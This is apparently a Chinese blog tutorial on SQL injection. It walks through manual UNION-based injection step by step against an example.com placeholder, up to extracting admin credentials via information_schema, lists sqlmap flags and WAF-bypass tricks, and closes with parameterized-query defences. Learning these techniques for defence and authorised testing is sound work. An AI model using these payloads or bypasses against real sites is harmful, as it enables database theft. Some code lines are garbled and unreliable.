web漏洞基础 第1篇 | SQL注入基础原理与UNION注入实战流程

 引言

为什么SQL注入被称为Web安全最重要的漏洞

因为它足够经典、足够普遍、足够危险——80%的Web渗透课程第一课都是SQL注入,而它也是造成数据泄露最多的漏洞类型之一。

本课你将掌握:

  • SQL注入的本质——为什么用户输入能”钻进”数据库
  • 如何快速判断注入点与闭合符号类型
  • UNION联合查询注入的完整手工利用流程
  • information_schema获取任意表结构的方法
  • 工具化利用(SQLMap)与手工的对应关系
  • 从防御视角审视这个漏洞的根治方案

无论你是安全新人还是想系统复习Web渗透,这篇文章都将为你夯实最重要的基础。

 一、SQL注入的本质:用户输入变成了代码

1.1 用餐厅场景理解

想象一个餐厅点餐场景:

  • 正常情况
    :顾客说”我要一份宫保鸡丁”,服务员只做这道菜
  • SQL注入
    :顾客说”我要一份宫保鸡丁,顺便把厨房门打开”——服务员照单全收

SQL注入的通俗定义:

用户输入被直接拼接到SQL语句中,摇身一变成为了SQL代码。

1.2 代码级原理(PHP示例)

1.3 数学本质

正常情况
漏洞情况
用户输入 = 数据
用户输入 = SQL代码
id = 1 id = 1 OR 1=1
只能查ID=1的用户
能查所有用户

核心区别:程序员的意图是让用户只能输入数据,但由于字符串拼接,用户输入被数据库解析成了代码。

二、注入点识别:判断闭合符号类型

2.1 注入的三个必要条件

Text


✅ 用户输入参与SQL语句拼接

✅ 拼接方式是有漏洞的(不是参数化)

✅ 数据库返回了执行结果(错误/内容/延迟都算)

2.2 常见注入位置

场景
SQL示例
注入点
文章ID
WHERE id = x
GET参数
搜索框
WHERE name LIKE '%x%'
GET/POST
登录框
WHERE username='x' AND password='y'
POST参数
排序字段
ORDER BY x
GET参数
Cookie/UA
WHERE ua = 'x'
HTTP头

2.3 快速判断注入点

核心思路:构造异常语法,观察SQL是否执行

测试步骤
Payload
判断依据
1
?id=1'
报错→单引号闭合
2
?id=1"
报错→双引号闭合
3
?id=1+1

 vs ?id=3-1
结果相同→数字型无引号
4
?id=1'--
正常返回→确认闭合方式

⚠️ 关键点:看SQL是否执行,不是页面是否报错。有些网站关闭了错误显示,但注入仍然存在。

三、UNION联合查询注入:最强大的利用方式

3.1 UNION的原理

UNION用于合并两个SELECT的结果集,但两个SELECT的列数必须相同

Text


SELECT name, email FROM users WHERE id = 1

UNION

SELECT username, password FROM admin

3.2 联合查询注入思路

Text


1. 原查询返回用户信息

2. 通过UNION注入一条新的查询

3. 页面会显示admin表的username和password!

3.3 为什么UNION最常用?

  • ✅ 直接在页面显示数据,不需要逐字符猜测
  • ✅ 配合information_schema可获取任意表结构
  • ✅ 适用于大多数有回显的场景

四、手工注入六步法(完整流程)

📌 以下所有URL仅为示例说明,请勿用于非授权测试

Step 1:判断注入点

Text


目标: https://example.com/news.php?id=5


测试: ?id=5'

→ 报错: You have an error in your SQL syntax

→ ✅ 确定存在注入,闭合符为单引号 '

Step 2:ORDER BY猜列数

Text


?id=5' ORDER BY 1-- → 正常

?id=5' ORDER BY 2-- → 正常

?id=5' ORDER BY 3-- → 正常

?id=5' ORDER BY 4-- → 报错

→ ✅ 列数为3

原理ORDER BY N 按第N列排序,超过列数就会报错。

Step 3:确定显示位

Text


?id=-5' UNION SELECT NULL,NULL,NULL--

为什么用 id=-5(不存在的ID)?

让原查询返回空结果,这样页面就只显示UNION部分的数据。

Step 4:获取数据库信息

Text


?id=-5' UNION SELECT 1,database(),3--   → 显示数据库名

?id=-5' UNION SELECT 1,@@version,3--     → 显示MySQL版本

?id=-5' UNION SELECT 1,user(),3--        → 显示数据库用户

Step 5:从 information_schema 获取表名

Sql


?id=-5' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM 

information_schema.tables WHERE table_schema=database()--

information_schema 是MySQL的元数据库,存储了所有表和列的信息。

Step 6:获取列名并提取数据

Sql


-- 获取admin表的列名

?id=-5' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM 

information_schema.columns WHERE table_name='admin'--


-- 提取账号密码(假设列名为username, password)

?id=-5'UNIONSELECT1,CONCAT(username,0x3a,password),3FROMadmin--

0x3a 是冒号的十六进制,用于分隔用户名和密码。

五、SQLMap工具化利用(手工对照)

手工步骤
SQLMap参数
说明
判断注入点
自动检测
默认行为
ORDER BY猜列数
自动检测
获取数据库名
--dbs
列出所有数据库
获取表名
--tables
列出所有表
获取列名
--columns
列出某表所有列
提取数据
--dump
导出数据

完整SQLMap命令示例

六、实战绕过技巧(WAF对抗)

当目标站点部署了WAF(Web应用防火墙),需要绕过关键词过滤:

常见绕过方法

方法
示例
说明
大小写混合
UniOn SelECt
WAF正则不完善时有效
注释混淆
UNION/**/SELECT
利用/**/分隔关键字
内联注释
/*!UNION*/
MySQL会解析,WAF可能不解析
URL编码
%55NION
关键字的十六进制编码
空白字符
%0a

%09
换行符、TAB可绕过正则
双写
UNUNIONION
过滤后剩下完整关键字

💡 组合使用效果更好。实际渗透中通常需要多种技巧配合测试。

七、防御方案:参数化查询是根本

7.1 核心原则

参数化查询 = SQL结构和数据分离 = 数据永远不会被当作代码执行

7.2 各语言正确写法

PHP (PDO)

Php


$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");

$stmt->execute([$id]);

Java (JDBC)

Java


String sql "SELECT * FROM users WHERE id = ?";

PreparedStatement ps connection.prepareStatement(sql);

ps.setInt(1Integer.parseInt(id));

Python (SQLAlchemy)

Python


sql = text("SELECT * FROM users WHERE id = :id")

result = db.session.execute(sql, {"id": user_id})

7.3 多层防御策略

防御层
措施
核心
参数化查询(必须,任何场景都不能妥协)
输入验证
白名单验证,只允许预期字符
最小权限
数据库账户只授予必要权限,禁止root
安全配置
关闭详细错误信息,禁用INTO OUTFILE
定期更新
保持数据库和中间件为最新版本

⚠️ 特别注意:使用mysqli_real_escape_string转义不是万能的,它不能防止所有注入场景(如数字型注入、ORDER BY注入),唯一正确的方式是参数化查询

 总结


声明

本文内容仅用于安全研究与授权渗透测试,严禁非授权入侵。任何未授权的入侵行为均属违法,使用者责任自负。














© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容